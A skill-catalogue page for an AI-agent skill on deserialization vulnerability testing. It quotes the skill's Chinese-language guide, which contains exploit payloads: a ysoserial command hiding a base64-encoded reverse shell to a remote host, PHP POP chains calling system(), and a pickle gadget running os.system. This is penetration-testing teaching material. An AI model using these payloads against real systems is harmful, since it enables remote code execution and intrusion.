deserialization-testing

deserialization-testing is a skill for Claude Code, Codex from liuxinye23/CyberStrikeAI. It costs 16 tokens per session (1,629 once invoked), scanned A, original, Apache-2.0.

A guide to testing deserialization vulnerabilities, which can occur when software turns untrusted saved data back into objects.

In plain words
What is it for?
Checking serialized data in cookies, sessions, APIs, uploads, caches, and message queues across Java, PHP, Python, and .NET applications.
Why use it?
It helps identify places where crafted data may cause code execution or service disruption.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Checking serialized data in cookies, sessions, APIs, uploads, caches, and message queues across Java, PHP, Python, and .NET applications.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/liuxinye23/cyberstrikeai/deserialization-testing
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add liuxinye23/CyberStrikeAI --skill deserialization-testing
Clone the repo
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for deserialization-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing/github.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing)
Your own site
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for deserialization-testing

Your own site · 80×15
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 16 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,629 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00016 $0.01629
Opus 5.5 $0.00006 $0.00652
Sonnet 5.5 $0.00003 $0.00326
Haiku 4.5 $0.00002 $0.00163

Measured 2mo ago against content hash f38b15bffb0a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

deserialization-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('id',))
skills/deserialization-testing/SKILL.md · 310 lines

How it starts

The opening of the file, as written. The whole thing — 310 lines — stays where its author put it; the contents beside it link to each section on GitHub.

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

常见格式

Java

常见库:

  • Java原生序列化
  • Jackson
  • Fastjson
  • XStream
  • Apache Commons Collections

PHP

常见函数:

  • unserialize()
  • json_decode()

Python

常见模块:

  • pickle
  • yaml
  • json

.NET

常见类:

  • BinaryFormatter
  • SoapFormatter
  • DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征:

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征:

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征:

\x80\x03

2. 检测反序列化点

常见位置:

  • Cookie值
  • Session数据
  • API参数
  • 文件上传
  • 缓存数据
  • 消息队列

3. Java反序列化

Apache Commons Collections利用:

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链:

  • CommonsCollections1-7
  • Spring1-2
  • ROME
  • Jdk7u21

4. PHP反序列化

基础测试:

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用:

  • __destruct()
  • __wakeup()
  • __toString()
  • __call()

5. Python pickle

基础测试:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial:

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造:

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链:

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Read the full file on GitHub · 310 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 310 lines · 16 tokens per session scan A f38b15bffb0a

Subscribe to this mod's changes

deserialization-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 16 tokens to every session and 1,629 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

research-engineer

An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology.

davila7/claude-code-templates · 43 tokens

tika-eval-compare

Compare extracts from two Tika builds over a corpus to detect regressions in content, encoding, exceptions, and embedded-document handling. Use for "compare before/after extracts", "eval this change against the corpus".

apache/tika · 50 tokens

cua-driver

Use Cua Driver for desktop or browser tasks that are awkward or unavailable through Bash/APIs, or when the user explicitly wants GUI interaction: app testing, visual bug reproduction, form filling, calendar entry, screenshots, and demo recording. Also covers Cua setup; not OpenAI Codex Computer Use or web research.

davidondrej/skills · 68 tokens

jetson-validate-image

Use after jetson-flash-image to run static BSP checks, on-target smoke/regression tests on a flashed DUT, or both. Not for build or flash steps. Triggers: validate bsp, on-target validation.

NVIDIA/skills · 50 tokens

atmos-validation

Validate Atmos projects, components, arbitrary JSON Schema inputs, EditorConfig, and GitHub Actions; use affected-file selection and native CI annotations.

cloudposse/atmos · 31 tokens

skill-benchmark

Benchmark AI skill effectiveness by measuring implementation quality against legacy constraints.

HoangNguyen0403/agent-skills-standard · 16 tokens